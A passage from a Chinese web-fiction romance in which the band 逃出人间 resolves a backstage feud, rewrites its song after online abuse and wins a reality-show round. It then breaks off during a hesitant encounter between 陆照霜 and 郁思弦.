她把先前身上关掉的麦又打开了,这才走过去,先给了林珩一个安抚的眼神,示意他别说话,又瞥了一眼邹白,却理也没理他,而是朝那个劝架的女人伸出手,“你好,我是陆照霜。” 女人穿着一身棉麻长裙,长发编成辫子垂在身后,很森系的打扮和长相,是他们的主唱兼队长,钟青。 钟青愣了一下,才跟她回握,“钟青。” “钟队长,我们队长脾气比较急躁,看着比较凶,但不是不讲理的人。你们这位吉他手……” 陆照霜的目光在邹白身上顿了下,微微一笑,“觉得我们队赢得不够合理,但分数是导师打的,他不对导师提出抗议,反而在背后中伤对手,大家都是参加同一个比赛的,我想贵队这样的风格,似乎也称不上堂堂正正吧。” 邹白整张脸都涨得通红,“我就随口说了一句,还不是你们自己抓着不放,怎么,你们还不许人评价了?还上升到我们队的作风了?” 陆照霜仍是不理他,只客气地看着钟青,“钟队长,你觉得呢?这种事情对我们谁都不好吧。” 钟青闭了闭眼,抬手揪住邹白的耳朵,朝逃出人间微微欠身,“抱歉,是我管教不严,就算大家比赛风格不同,也不该在背后说人,我代他向你们道歉。” “钟姐!”邹白立刻委屈地睁大了眼,但被钟青立刻捂住了嘴。 “这也算——”林珩不服气,还想说什么,但徐勿凡也眼疾手快地捂住了他的嘴,憋闷地咽了回去。 “这样就好了,”陆照霜对钟青笑了笑,“音乐节目,我们还是用音乐来说话吧。” 钟青尴尬地朝她笑了笑,拉着邹白回休息室去了。 走廊里只剩下他们五个人。 徐勿凡这才松开了林珩。 林珩目光落在被钟青合上的门上,语气仍旧愤愤不平,“他们那个主唱什么意思?‘比赛风格不同,不该背后说人’?那意思不就是,她觉得姓邹的说的没错,只是错在背后说人了吗?” 陆照霜头疼地扶住额头,重新把把麦关上,然后才看向林珩,“我知道你生气,但这是综艺节目,如果你跟他继续吵下去,闹大了,节目把这部分剪出去,你希望以后观众想到我们的时候,第一个想到的不是我们的歌,而是——那个和人在后台吵架的乐队吗?” 林珩怔了怔。 徐勿凡也难得地揉了把他的发顶,语气比平时温柔不少,“我们的目的是在这个节目里继续走下去,不是吗?” 林珩彻底偃旗息鼓,垂着头低低地道了声:“抱歉。” 陆照霜暗暗松了口气,谁料高若涵突然一声“等等!”让她心脏重新悬起。 “怎么了?” 高若涵环顾四周,压低了声音说:“照霜姐,你刚才让他们道歉,他们会不会怀恨在心,抹黑我们,说我们故意欺负他们啊?” 毕竟两支乐队风格差异太大,潮湿苔藓就是很容易给人无害的印象。而且鉴于邹白背后说坏话,高若涵很难对这支乐队的人品抱有信心。 “哦,”陆照霜镇定地看着她,“我刚才说话的时候,把麦开了,钟青承认他们背后说我们了,有录音。” 其他四人都愣了下,然后齐齐给她比了个大拇指。 …… 随着最后一支乐队的成绩揭晓,晋级乐队名单确定,他们再次被叫上了舞台。 “首先让我们恭喜这24支晋级的乐队!” 主持人率先鼓起掌,又朝众人眨了下眼,“接下来的第三轮,我们将以什么形式比赛?大家是不是很期待?” 他卖了个关子,这才慢悠悠向后一指,大屏幕随着这个动作,亮起小人演示的动画。 “接下来的两轮比赛,我们将以小组赛的形式进行,每六支队伍抽签分为一组,进行两轮pk,根据平均分,第一名将获得种子权,直接保送决赛,二三四名还将进行一轮搏杀,至于最后两名,很遗憾,就只能告别这个舞台了。” 主持人打了个响指,工作人员推着抽签箱上来。 “来吧,诸位,决定命运的分组时刻到了!” 逃出人间面面相觑。 林珩清了清嗓子,“谁运气好点?” 陆照霜:“我结婚两年就离了,肯定不行啊。” 徐勿凡摇摇头。 唐湾摊开手:“我买饮料只抽到过谢谢惠顾。” 高若涵咬了咬牙,捋起袖子,“那就交给我吧。” 五分钟后,她带着“A组-6位”的号码牌苦着脸回来。 陆照霜笑着安慰她,“没事,一组就6个乐队,最后一个出场也没什么,只要别在这一轮就碰上那些大乐队就好了。” 主持人跟着开始宣布A组名单—— “量子玫瑰。” 粉丝数116万,全场最高,冠军热门人选。 陆照霜唇角一僵。 “猩红月球。” 粉丝数109万,全场次高,亚军热门人选。 陆照霜大脑短暂清空。 “电解质幽灵、潮汐海。” 一个52万,一个23万。 但在统共四支的百万粉乐队被他们集齐两支以后,这还有什么重要的吗? “逃出人间、潮湿苔藓,以上为A组成员。” 哦,甚至还和刚闹过矛盾的乐队分到了同一组,陆照霜已经麻木了。 高若涵直接“呜”一声捂住了脸,“我这辈子再也不会抽签了!” 林珩:他再也不会嫌弃自己签运差了。 其他还没有宣布名单的乐队都向他们这头飞来同情的目光。 这是造了什么孽啊,进了这种地狱组。 主持人也有点绷不住,尴尬地笑了两声,“没想到量子玫瑰和猩红月球第三轮就碰到了,有什么想对彼此说的吗?” 猩红月球的队长握住话筒,表情无所畏惧,“量子玫瑰是我们非常敬仰的老前辈了,很高兴能向前辈们挑战。” 量子玫瑰的队长谦虚地笑了笑,“我们也很期待和猩红月球的对决。” 台下观众们此起彼伏地尖叫起来。 “卧槽,这是我第三轮就能看到的画面吗?” “《乐队人》抽签来真的啊,谁家好人第三轮就把冠亚军放一起啊!” “猩红月球加油!给我逆风翻盘!” “猩红月球算个屁,量子玫瑰是他们能随便碰瓷的吗?” 所有的镜头全部对准了这两支乐队,气氛渲染得仿佛下一秒就要溅出火星子,在这种王不见王的精彩对决下,电解质幽灵和潮汐海都没人关注了,更遑论是逃出人间和潮湿苔藓。 陆照霜和其他队友们面面相觑,从未像现在这样浓烈地感受到,他们就像角落里的阴暗霉菌。 不过经历了一遍上次的心路历程,大家各自心里郁闷了一下,也没把这些情绪带到排练中来,都还在积极地寻找应对策略。 就是偶尔在大楼里碰到潮湿苔藓,林珩还会很不高兴地嘟哝一句,“真晦气,本来就是地狱组了,偏偏还和他们在同一个组。” 但事实上,对他们有争议的,也不止是潮湿苔藓。 随着《乐队人》第二期上线,他们那首《我们的二十一世纪家庭》被音评大v做了reaction,播放量破了百万。 博主在视频里兴奋地分析,“不知道这个舞台是谁设计的,真的太厉害了!” “用小提琴和电吉他这两种存在感这么强烈的乐器代表父母,完全达到了分庭抗礼的效果;大家平时都开贝斯玩笑,这回贝斯手真的成夹在父母中间被人忽视的孩子了,这个乐队比我还爱贝斯笑话。” “鼓手不能移动,所以担任了一个上帝视角,而主唱像是一个介绍他们的说书人,把每一个乐队成员都安排上了,一个都没落下,真的太会调度了!” “对了,我还要说!主唱的声音真的太好听了!小提琴手和吉他手的水平在这个节目里根本就是断档的,绝对是专业级的吧!” 底下的评论区被博主带动,也热烈夸赞—— “这个舞台表现力真的太牛了!” “为什么我以前从没听说过这个乐队,这也太厉害了吧?” “谁懂,就真的太像了!我家里就是这样,除了吃饭的时候,大家都各玩各的手机,根本没别的话说,跟陌生人就差个户口本了。” “我一直觉得我爸妈根本不关心我在想什么,但现在想想,我其实也没关心过他们真正的想法。” “我不管什么立意,反正这个编曲、这个舞台张力,真的给我看爽了。” 但就像他们获得了相当多喜爱一样,讨厌他们的黑粉也很快涌入。 “还‘我们’的21世纪家庭?谁跟他们是‘我们’?自己家庭不幸福就以为全天下人都不幸福了是吧?” “我又被代表了,抱歉,我很爱我爸妈,我爸妈也很爱我。” “笑死人了,就会挑这种原生家庭之类的热门话题,不博眼球就写不出歌了是吧?” “上一期摘面具给他们吃到甜头了,这一期都开始演上戏了。” “这到底是音乐综艺还是演技综艺,我是来看他们给我演小剧场的吗?” 最后博主不堪其扰,直接删除了视频。 整个逃出人间里,受影响最深的是林珩。 他们目前所有的歌词都是林珩写的,上一首歌的灵感来源是他自己的家庭,那些攻击歌词的评论如同在攻击他本人,他肉眼可见地消沉起来。 下午大家排练了两个小时,开始休息,林珩又不受控制地打开了手机,无意识地咬住了拇指。 陆照霜不用看都知道,他一定又在刷那些恶评了。 “我真的服了!你到底要被影响到什么时候!我们赢了就好了啊!你管他们怎么说的!”徐勿凡实在受不了了,一把夺过了他的手机。 唐湾和高若涵被唬得一惊,没敢插手这两刺头情侣的争吵。 林珩撇开视线,还在嘴硬,“我没受影响。” 徐勿凡冷笑,直接在锁屏密码里输入她生日,把他刚才看的评论区亮出来,“那你这是在干什么?” 林珩嘴唇嗡动着,最终还是惨白着脸垂下了头,没能反驳一句话。 陆照霜有些不忍,她其实能理解林珩现在的感受,歌词以外,观众抨击最多的就是舞台设计,而那个舞台,是她设计的。 从潮湿苔藓到网络观众,那些说她哗众取宠之类的评论,一样扎到了她心里,她只是控制着自己尽量少看。毕竟队长已经被击倒了,副队长不能这时候也跟着倒下。 但这些天过去,林珩丝毫没有好转,甚至还有越来越恶化的迹象,过去的自信和锋利正从他身上逐渐流失,让人怀疑……他可能会找不回自己。 这样下去真的可以吗? 陆照霜忽然有了别的想法。 “我们换首歌吧,”她把手里的曲谱直接按在了地上,顿了顿,又道:“不,是我们重新写首歌吧。” 其余四人齐齐看向她。 徐勿凡像是在看什么精神病,“你疯了?还有一周我们就要上台了,你这时候想写新歌?” “对,”陆照霜没有回避徐勿凡的质问,“与其让那些质疑继续留在我们身上,不如写一首最能表现我们真心、最能代表我们的歌,直接去挑战这些质疑。” 林珩黑眸亮了下,在那张苍白的脸上,显得格外突出。 徐勿凡审视着她,“所以你也被那些话影响到了。你忘了吗?上一期的歌最后是你拍板的,舞台也是你设计的,你明明也觉得话题度和新鲜感是我们能突围的倚仗,但我们现在面对这样的对手,你却要抛弃我们的优势?” 陆照霜冷静地反问:“上一期我们排名多少?” “22。” “对,你看,我们上一期采用这个策略,只拿到了22名,继续沿用这个策略,你觉得我们能挑战准冠军和准亚军的地位吗?” 徐勿凡犹豫了片刻,“但按我们目前的策略,至少我们能赢得够高的话题度,就算被淘汰,也能积累粉丝。” “同一个套路用两遍,观众就会厌倦。下一期节目组和观众的看点都很清楚了,就是量子玫瑰和猩红月球的王不见王,真的能分给我们多少关注度吗?” 最熟悉网络社区的高若涵弱弱地说:“虽然我们抽到了最后出场,但我们大概会被剪到中间,第一个放量子玫瑰,最后一个放猩红月球,变成它们两的垫子。” 徐勿凡沉默了一下。 “而如果我们能正面迎敌,并且足够精彩的话,那他们想拿我们当垫子,也不一定当得成,对吧?”陆照霜深深地看着大家。 除了徐勿凡,大家都有些被说动。 “当然,这件事的前提是,我们得写出一首够精彩的歌,”陆照霜望住林珩的眼睛,“队长,你觉得做得到吗?” 林珩胸前空荡荡的T恤跟着他起伏了好几下,半晌后,他深吸了一口气*,先前的颓丧渐渐散去,眼里重新凝聚起斗志,“做得到。” 唐湾看着林珩,好像突然有点明白陆照霜这么提议的动机了,他沉默了一会儿,举起手,“我支持。” 高若涵看了眼陆照霜,也跟着举起手,“我也支持。” 4:1。 徐勿凡闭上眼,“行吧,希望你们不要后悔。” 时间紧张,大家开始了紧锣密鼓地编曲和写词,这次不只是林珩和陆照霜两个人的工作了,所有人都参与了进来集思广益。 林珩负责把关最后的词,陆照霜负责把关最后的曲。 郁思弦这几天一次都没有回过湘城,陆照霜也忙到根本没有功夫去问他出了什么事。 “咔哒——”门打开了。 陆照霜下意识回头看去。 是唐湾和高若涵拎着五份食盒回来了,“大家先吃东西吧。” 陆照霜重新垂下眼,赶走心头那阵不合时宜的失落,拿了一份冲他们两笑笑,“辛苦你们了。” 林珩坐在她对面,若有所思地看了她一眼。 晚上,其他人都先去休息了,陆照霜和林珩又花了一个小时,终于把词曲敲定。 三天下来,她此刻已经谈不上任何体态了,像个幽灵一样疲惫地对林珩笑笑,“我回去睡了,熬不动了。” “陆照霜,”林珩叫住她,“当做谢礼吧,提醒你一件事。” “嗯?” “你知道你这几天回过多少次头吗?” 陆照霜一愣。 “别再自欺欺人了,你知道真正的异性朋友是什么样的吗?”林珩慢吞吞地收拾好自己的东西,走到门口,回头看她。 “是咱们俩这样,虽然待在一起的时候也ok,但各回各家的时候谈不上舍不得,见不到的时候也不至于惦记着想见面。” “你觉得你对思弦是这样吗?” 56/ 第56章 ◎她一把攥住郁思弦◎ 陆照霜怔住,一时竟难以回答这个问题。 但林珩显然也没有多插手的意思,点到为止,摆了摆手就出去了。 只剩下陆照霜独自坐在练习室内,握着手机,目光停在被她插在水里、尚未凋谢的玫瑰身上,很久很久。 …… 《乐队人》第三期录制开始,A组6支乐队全数进了演播厅。 第一个上场的就是公认的准冠军,量子玫瑰。 作为已经出道多年的老牌乐队,量子玫瑰的弱点是主唱的嗓音,因为生活习惯问题已不比从前,但他们挑选了一首经典朋克摇滚,把嗓音的影响降到最低,无论是熟练度还是情怀分都拉满。 几乎是前奏一响,台下观众就激动地鼓掌,如果这不是综艺录制,恐怕会直接变成千人合唱现场,最后量子玫瑰也顺利在导师那里拿下了96.85的高分。 有这样一座大山压在前面,对于紧跟在后面出场的潮汐海和潮湿苔藓,都产生了毁灭性打击。 潮汐海的发挥相当一般,有量子玫瑰珠玉在前,他们的表演被湮灭得毫无特色,平平无奇地结束了。 潮湿苔藓发挥失常,而且他们那种清新抒情的风格,和今天观众的情绪完全对不上,直接拿下了82的超低分。 观众们也根本不在意这两支乐队,潮湿苔藓还没下台,底下就已经在高呼下一个乐队的名字了。 “猩红月球冲啊!” “量子玫瑰算个屁!资历对音乐没有任何意义!” “我们金属今天就要干倒朋克!” 这样的观众反应,让潮湿苔藓所有人都脸色一白,狼狈地匆匆下台。邹白更是直接低下头,掩饰住自己红了的眼眶。 猩红月球在万众瞩目中登场,完全无惧量子玫瑰已经拿下的优势,选择了他们乐队一首经典的新金属。 正当盛年的乐队成员、朗朗上口的音乐节奏、极具洗脑能力的loop段,让主持人都跟着在一边摇摆起来。 这种现场感染力打破了粉丝大战,绝大多数量子玫瑰的粉丝都说不出反驳的话来,而猩红月球的粉丝则激动到差点没站起来跟着蹦迪。 “天哪,我简直要起飞了!” “这就是金属乐队的魅力啊!” “我永远爱猩红月球!” 主持人紧跟着宣布:“猩红月球,97.99分!” 猩红月球打败了量子玫瑰,整个录制现场都沸腾了,仿佛见证了一个新老时代的交替。 5号位的电解质幽灵特地晚了一会儿才出场,否则恐怕根本没有人会注意听他们在唱什么。 在A组冠军基本已被猩红月球锁定的情况下,电解质幽灵并未受到影响。 主唱在开始演奏前,甚至还开了个小玩笑,“看来大家都已经被猩红月球炒热了,我们得给大家降降温了。” 一方面,他们有52万粉丝,场面不可能一边倒,另一方面,他们一开始就知道,迷幻摇滚的风格很难成为主流,对比赛成绩抱着一种非常佛系的态度。 这样的心态,反而让他们超常发挥,以风格化的特色赢得了现场观众的瞩目,收获了不少好评,拿下了95分,荣获第三名。 氛围大起大伏,到了逃出人间上场前,观众的情绪已经有些被榨干了。 “笑死,现在唯一的悬念的就是逃出人间和潮汐海争倒数第二了。” “其实这么想想,有剧本也挺好的,猩红月球就应该放最后一个上啊,第四个就上了也太浪费了,一点期待感都没了。” “可别这么说,我还等着看逃出人间今天要给我演什么小剧场呢。” 在这样低迷的气氛里,工作人员很快重新布置好舞台。 灯光再次亮起时,逃出人间所有成员都站到了自己的位置上,而陆照霜面前的,赫然是一架三角钢琴,并且乐器组每个成员面前都放着话筒。 “怎么回事?他们小提琴手今天不拉小提琴了吗?” “不是啊,你看,她旁边的桌子上还摆着小提琴呢。” “她要坐在钢琴上给大伙拉小提琴吗?” “这个话筒限制了他们的走位啊,今天不演戏了吗?” 面对着所有不解和质疑的声音,逃出人间没有做出任何反应,他们今天全员穿着款式有些繁复的黑衬衫和长裤,看着比前两次比赛都更加内敛安静。 连徐勿凡今天的开场白也是简洁平淡的,“接下来这首歌的名字——《逃出人间》。” 这个和他们乐队一样的名字,以及所有成员不同寻常的表现,不禁让人觉得,今天他们大概是要走抒情风格了。 但下一秒,陆照霜和林珩朝彼此点了一下头,钢琴和电吉他同时响起。 两人指尖在钢琴键和吉他弦上飞速跳动,音乐节奏从一开始就是强劲的,直白地告诉观众—— 抒情?不,他们就是来正面硬刚的金属摇滚啊! 唐湾狠狠砸下一声鼓点,贝斯加入了演奏,徐勿凡那股极富金属质感的嗓音从一开始就毫不掩饰地唱响。 “他们说,这样才正常—— 走出十点钟校门, 把妄想丢进明早运走的垃圾桶。 收起漫画和球拍, 把人生装进标准答案的参考书。 够正常了吗?” 徐勿凡走向左边的观众,挑衅地朝他们扬起眉。 高若涵一边弹着贝斯,一边在背景音里摇头否定,“不,不!” 于是徐勿凡若有所思地点了点头,继续唱。 “他们说,这样才正常—— 咽下不甘和抗议, 任自尊沉进一文不名的废水沟。 习惯去虚伪微笑, 把未来押给阿谀奉承的名利场。 算正常了吗?” 徐勿凡走到右边观众面前,歪头朝他们质问般地一笑。 在这样强烈的音乐和她迷人的笑容下,那一片观众完全受不住蛊惑,跟着高若涵一起喊:“不、不!” 徐勿凡恍然大悟一样,淡笑了一声,跟着一句念白,“原来如此。” 她走回到舞台正中,握住了立麦,闭上眼忘情地吟唱。 与此同时,音乐节奏放缓,转入抒情。 陆照霜和高若涵一边弹奏着自己的乐器,一边朝麦克风倾身,一起为徐勿凡和声。 “他们还要啊。 要我谨小慎微低下头, 要我卑躬屈膝折弯腰, 要我满腔愤怒锁上喉。 他们还笑啊。 笑我自作聪明的借口, 笑我难以启齿的欲望, 笑我鄙薄贪婪的妄想。 不够不够啊。 我们才闯出青春的暗道, 却跌进至死方休的牢笼。” 三重女声一同用女声特有的高key,将情绪推到一个凄切的高点。 钢琴、电吉他、贝斯全部沉寂下来,陆照霜和高若涵停止了和声。 徐勿凡蓦然睁开眼,望着所有观众,唱道—— “那就、那就、那就—— 删掉吧! 从正常名册中删去我姓名!” 没有了器乐组的烘托,她的声音宛如刺破所有温暖遮蔽的冷风,每一句结尾,都跟着唐湾沉沉的一声鼓,如同昼夜之交,天边传来的一声声惊雷。 “那就、那就、那就—— 逃亡吧! 向野火燎原的旷野大步逃!” 观众阒寂无声,没有人还能再忽视她声音里的决意。 而在这一段里,陆照霜已经离开了钢琴,走到另一边的桌前,拿起了小提琴。 林珩、唐湾、高若涵也都重新开始演奏,同时为徐勿凡和声。 “我们逃向被人流放的荒野, 去暴雨里裸足跳舞! 我们逃向西伯利亚的雪原, 在地底下大声嘶吼! 让枉然和尝试填满我怀抱, 让虚妄和求索磨穿我脚踝, 让狂热和妄想穿透我脊梁。” 两道女声和两道男声组合在一起,男女声不同的音域丰富了合唱的声部,像是汇聚在一起的洪流。 小提琴的加入和近似古典乐的编曲,让这一首从一开始就节奏强烈的歌,还能推入更高的高潮。 观众们被镇住的同时,也有人忽然发出疑问:“等等,为什么我还能听到钢琴声,不是已经没有人弹钢琴了吗?” 另一位观众定睛一看,眼前一亮:“他们用了LoopStation!” “什么东西?” “LoopStation,可以实时录一段音乐,然后叠加音轨,他们把最开始那段钢琴录下来了!” “这样比赛不算作弊吗?” “你在说什么鬼话?这录的也是她刚才弹的呀,很多乐队现场表演的时候都会用的,你要是讨厌电子音乐,那麻烦把猩红月球和电解质幽灵的dj也一起禁了好吗!” 但很快这些争吵就没人再理会了。 多重复调的人声合唱和器乐,共同营造了恢宏盛大的史诗感,给人一种在音乐厅听交响乐的既视感,却又没有古典乐的晦涩难懂,本质还是金属摇滚强有力的情感宣泄,让人完全沉浸其中。 高潮段在重复一遍后,LoopStation关掉,小提琴和电吉他重新占据了音乐的主位,音乐仍旧是强劲的,但比刚才,多添了一份升华的抒情性。 所有和声都停止了,与歌曲开头对称,只剩下徐勿凡的歌声。 “哪怕葬我于未命名的彼方, 哪怕无名氏墓前永无鲜花, 哪怕溺死于无尽的癫狂和绝望。 这就是我的人间。 哪怕墓碑下葬着, 我的骸骨和所有正常。” 器乐组随着徐勿凡的最后一丝余音一起干脆果断地收尾,虽然带着一丝浅淡的忧愁,但更多的,还是无怨无悔的释然和旷达。 陆照霜松开小提琴,短短四分钟的高强度演奏,她的汗水已经浸透了整件衬衫。 好像短暂地忘记了,这是一个被无数人注视着、无数镜头拍摄着、供人评判比较的舞台。 首先袭上心头的,不是对观众和评委反应的紧张,而是仿佛能化掉整颗心的满足。 从她加入逃出人间开始,一直渴望的就是这样的时刻啊,玩乐队其实,就是这么快乐、这么投入的一件事啊。 她怔怔地望向其他队友,他们也同样怔怔地望向她,然后所有人都默契地向上举起拳头。 无论这次尝试结果如何,至少他们不负自己。 观众席沉寂了许久,到了这一刻才反应过来似的,响起如雷的掌声。 他们带来的震撼和猩红月球给人的震撼完全不同。 如果说猩红月球的演出,给人一种飞起来让人想跟着摇摆的爽感,那逃出人间的演出,就是在人以为要起飞的瞬间,直接展示一场巨大的风暴,人不会跟着风暴摇摆,只会震撼到失声。 一个初出茅庐的小乐队,面对出道多年的老牌乐队,不避锋芒正面硬刚,这是谁都没有想到的一件事。 无论导师怎么打分,但现场的掌声已经足以证明,在他们心里,是逃出人间刚赢了。 坐在等待席的猩红月球跟着鼓掌,头一次正视起这个对手。而潮湿苔藓,钟青和邹白望着与他们演奏时反应截然不同的观众们,都久久回不过神来。 还好主持人控场,将逃出人间重新组织到台前。 蔺承平清了清嗓子,看着他们,“你们今天的表演让我想起了一个意大利的交响金属乐队,RhapsodyofFire,不过他们更多地是讲述神话史诗,而你们是在剖析自我。林珩,你是怎么想到,用这种风格来演绎这样个体化的主题的呢?” 林珩作为队长,拿着麦克风,指向了陆照霜,“这位是我们的副队长、小提琴手、钢琴手,一直以来,我们乐队的编曲大都是我主刀、她改编,但这次的编曲基本都是由她来完成,还是由她来说吧。” 陆照霜瞳孔微微一震,也没人告诉她,当副队长还要对着镜头发言啊。 她硬着头皮接过话筒,只求朱老师和她的前同事们不要看到这个节目。 “嗯,交响金属的风格其实也是我们第一次尝试,我本身是学古典乐出身的,加入我们乐队以后,一直在向流行乐靠拢,但我学习古典乐的过去,难道是我应该抛弃的东西吗?我不这么觉得。” “古典乐那种特有的厚重和史诗感,我认为对流行乐的编曲也有同样的效果,于是就有了这一次演出。” 蔺承平给她鼓了个掌,“从今天的演出来看,以后你们可以往这个方向多多尝试了。” 陆照霜笑了笑,“我们也正在考虑。” 蔺承平又问:“看得出照霜你是很有想法的类型,上一场比赛你们的舞台设计,据说也是你的主意?” 这就是敏感问题了,其他成员都紧张地望过来。 陆照霜看着蔺承平的眼睛,感觉对方虽然问题尖锐,但没有恶意,遂坦然承认,“是。” “那次舞台在网络上引起了不少争议,照霜你怎么看待,会后悔没有像这次一样演出吗?” 陆照霜顿了顿,然后摇了摇头,“对我来说,乐队是属于现场的东西——人声、乐器、舞台编排、还有观众,全部都是乐队的构成部分,我认为那样的演出对那首歌来说,就是最好的表现形式。” “所以,”她直视着镜头,像是面向所有对她的讥讽,“我不后悔。” 台下的观众因为她这个回答一愣。 是啊,不管后续网络上怎么评价,但对于上一场也在看现场的他们来说,体验真的很愉快,不是吗? 蔺承平笑了笑,又问:“这首歌为什么叫《逃出人间》?” 陆照霜终于可以把烫手的话筒甩出去了,赶忙道:“作词这块主要由我们的队长负责,还是由他来说吧。” 林珩重新拿回话筒。 他犹豫了一下,但看着其他所有人鼓励的目光,眼神逐渐坚定起来。 “我最初给乐队起这个名字,是因为我很讨厌我当时所处的生活,我希望能够拥有‘特别’的生活,后来我的队友们也来到了我身边,无论我们各自的日常生活是什么样的,但至少,当我们一起站在舞台上的时候,我想我们是自由的,这就是我们想要的人间,也是这首歌的灵感来源。” “我知道很多人讨厌我们、质疑我们,但我们还是会继续下去,继续唱表达我们自我的歌。” 林珩脸上终于重新扬起在搁浅一样不驯的笑容,“这才像我们。” 评委席静默了片刻,随即另一位评委率先给他们鼓起掌,“上一期我说过,我期待你们在这个舞台上带给我更多惊喜,现在也一样,我还会继续期待你们。” 评委们点评完,打分结束。 上一场宣布分组时,看都没看他们一眼的主持人,这次直视着他们的眼睛,朗声宣布—— “恭喜你们,逃出人间,98.68分!这一场的你们,是当之无愧的第一!” 演播厅最后,郁思弦倚靠着墙壁,静静看着这一幕,跟随全场的观众一起为他们鼓掌,目送陆照霜被夹在逃出人间中间,兴奋地下了场。 他嘴角微微扬起,声音淹没在全场的掌声里,“恭喜,阿照。” 掌声在B组出场后暂歇,郁思弦也重新直起身。 这个时间,后采应该也结束了,短暂溜出来也没关系,他去当面祝贺她吧。 总是被迫托别人把花送给她,他也忍了这个状况忍了很久了。 刚要迈步,手腕却忽被人从后抓住。 郁思弦诧异地一回头。 陆照霜因为小跑微红的脸倏然撞进他眼里。 她急促地喘着气,看着他的眸光亮到像是闪烁着星星。 “思弦,这次抓到你了!”她又是喜悦,又是如释重负地说。 而在陆照霜没有看到的方向。 萧烨正坐在另一侧的观众席上,目光死死落在她攥着郁思弦的手上,一刻也没有移开。 直到她拉着郁思弦,从演播室里消失不见。 57/ 第57章 ◎阿照,这次就不要拒绝我了吧◎ 郁思弦:“?” 他颇有些兴味地打量着陆照霜的神色,“什么叫抓住我了,我难道会跑吗?” 陆照霜顿时有些心虚,但还是强撑着没躲开他的注视,“你上次不是一结束就消失了吗?” 所以她是怕他这次又消失。 郁思弦听懂了她的潜台词,一声低低的笑从她头顶传来,“这次不会消失了。” 陆照霜无端就有些窘迫,正好要避开演播厅里的镜头和观众,她干脆就拉着郁思弦先出了演播厅,一头走到了没有人的楼梯间,这才松开了他的手腕。 为了掩饰自己的尴尬,她顺口找了个话题,“这段时间你怎么都没回过湘城?” 说完她才反应过来,郁家的大本营在申城,郁思弦待在申城再正常不过,她这么问,好像显得她对郁思弦的行程很有占有欲、很需要郁思弦来陪着她似的。 她连忙改口,“啊不是,我就是想知道你这一阵在忙什么?” 救命,她在说什么,怎么越描越黑? 陆照霜双手捂住脸,“当我没问。” 郁思弦听得笑了一下,手按住她的发顶,轻轻揉了一把,在她看不见的这瞬间,眼里闪过一丝阴翳,“被一个麻烦的人找了些麻烦。” 郁思弦从上学到工作,就一直是他们所有人里的模范代表,像是从没什么事能难倒他似的,还是第一次听他连用两个“麻烦”。 陆照霜立刻就分开五指,透过指缝,小心观察他的神色,“是很大的麻烦吗?” 郁思弦摇摇头,慢悠悠道:“算不上,现在已经没事了。毕竟,我努力工作这么多年,总不能在这种时候,还输给那个人。” 陆照霜:“?” 他语气怪怪的,好像藏着什么很深重的纠葛似的。 但她也来不及深想下去。 因为郁思弦已经微微弯腰,视线穿过她的指缝,与她平齐,眼里藏着些微促狭,“所以阿照,抓住我想做什么?” 陆照霜立刻就把眼睛重新捂住了。 “我……” “嗯?” “我……”陆照霜开了半天的头,却死活说不出接下来的话。 毋宁说她只是看到他的身影,害怕他再次消失,就一时冲动,跑过来抓住了他,根本没想过她要说什么。 她的过去没有向她提供任何可供参考的经验。 如果可以穿越回天台那天就好了,她只需要做出简单的反应就可以了,现在她总不能揪住郁思弦,让他再重复一遍那天的话。 偏偏郁思弦也不急不躁,好整以暇地盯着她,隔着眼皮,都好像能感受到来自他如有实质的目光。 “阿照?”郁思弦发出十分真诚、十分无辜的疑问。 算了,随便吧! 她放下手,破釜沉舟一样看向他,“我——” “嗡嗡。”衣袋里振动的手机打断了她的话。 她匆忙别过视线,像抓住救命稻草一样,立刻点下了接听,把手机放到耳边,也顺便让自己有个遮挡。 “陆照霜,节目组说今晚录制结束了以后会办个庆功会,你去不去?”林珩的声音从话筒里传来。 陆照霜煞有介事地回答:“哦你说这件事啊,等我回去,我们好好商量吧。” “啊?”林珩的疑惑简直要从声音里溢出来,“就一个庆功会啊,你就说去不去就好了,商量什么?” “嗯……听你这么说确实挺复杂的,电话里就不说了,我马上回去。” 陆照霜飞速挂断电话,这才抬眼看向郁思弦,“他们有重要的事要找我商量,我就先回去了。” 郁思弦单手插在兜里,歪头静静看着她,“是嘛。” 看不出他信与不信。 陆照霜也顾不上了,点点头说了声“再见”,就同手同脚打开楼梯间的门出去了。 只剩下郁思弦一个人站在楼梯间里,不知是气的还是好笑的,哼笑了一声。 但下一刻,楼梯间的门被再次推开。 陆照霜的脑袋从不宽的门缝里探出来,警惕地看着他,“我考虑一下我要说什么,你不要……趁我考虑,偷偷跑掉。” 郁思弦一愣。 “就这样。”她像是被烫到了一样,飞快地把脑袋缩了回去,楼梯间厚重的铁门砰一声重重合上。 郁思弦缓慢地眨了下眼,先前的情绪全被搅得消失无踪,他单手撑着楼梯扶手,低低地闷声笑起来。 …… 陆照霜逃跑时的侥幸心理,只持续了一个下午。 晚上,聚会的酒店门口,她和林珩刚一走过旋转门,就瞥见电梯口和总导演站在一起的人影,她立刻想掉头就走。 奈何总导演已经看到了他们,“逃出人间!” 她只能硬着头皮走近,跟他们打招呼。 总导演还向郁思弦介绍,“郁总,这是林珩和陆照霜,他们是参加这个节目的乐队,这一期拿下了第一名,我很看好他们。” 郁思弦很新奇地“哦”了一声,又很贴心地问:“那想必你们有很多重要的事需要考虑吧,参加庆功宴方便吗?” 林珩以为老朋友多日不见,这是在关心他,大为感动,诚实地回答:“今天刚录完完节目,能有什么重要的事。” 陆照霜认命地闭上眼,都能感觉到郁思弦的目光就落在她发顶,意味不明地道了一句,“是嘛。” 这世上还有比下午撒谎,晚上就被抓包更尴尬的事情吗? 总导演又问:“话说小林、小陆,你们好像也是申城人吧,和郁总是老乡呢,说不定以后还有碰面的机会呢。” 陆照霜和林珩含糊道:“是这样吗?”“可能吧。” 总导演见这两人如此不会来事,也就没再搭话,气氛再次尴尬冷却。 电梯迟迟不来,他明显有些局促,搓着手尬笑,“郁总,只是庆祝一下上一期收视率破了记录,没想到您愿意赏光。” 言下之意:你来的太突然了,我也没准备啊! 郁思弦微微一笑,“不用妄自菲薄,破收视率毕竟是这么‘重要的事’。我只是过来看看,你们按原定的安排就好。” 总导演这才心念稍定。 陆照霜:“……” 郁思弦在“重要的事”上特地加了重音,绝对是在笑话她吧,绝对是吧! “叮咚——”电梯抵达一楼。 郁思弦和总导演率先走了进去,总导演看着站在外面不动弹的陆照霜和林珩,十分好心地按着开门键招呼他们,“快进来呀。” 陆照霜只能硬着头皮进去,尴尬地站在了他们两前面。 电梯狭窄到空气都让人觉得稀薄。 为了让自己继续呼吸,陆照霜找林珩搭话:“话说我怎么一直没见徐勿凡?” “哦,她说她家里有点事,录完节目就出去了。” “那她还来吗?” 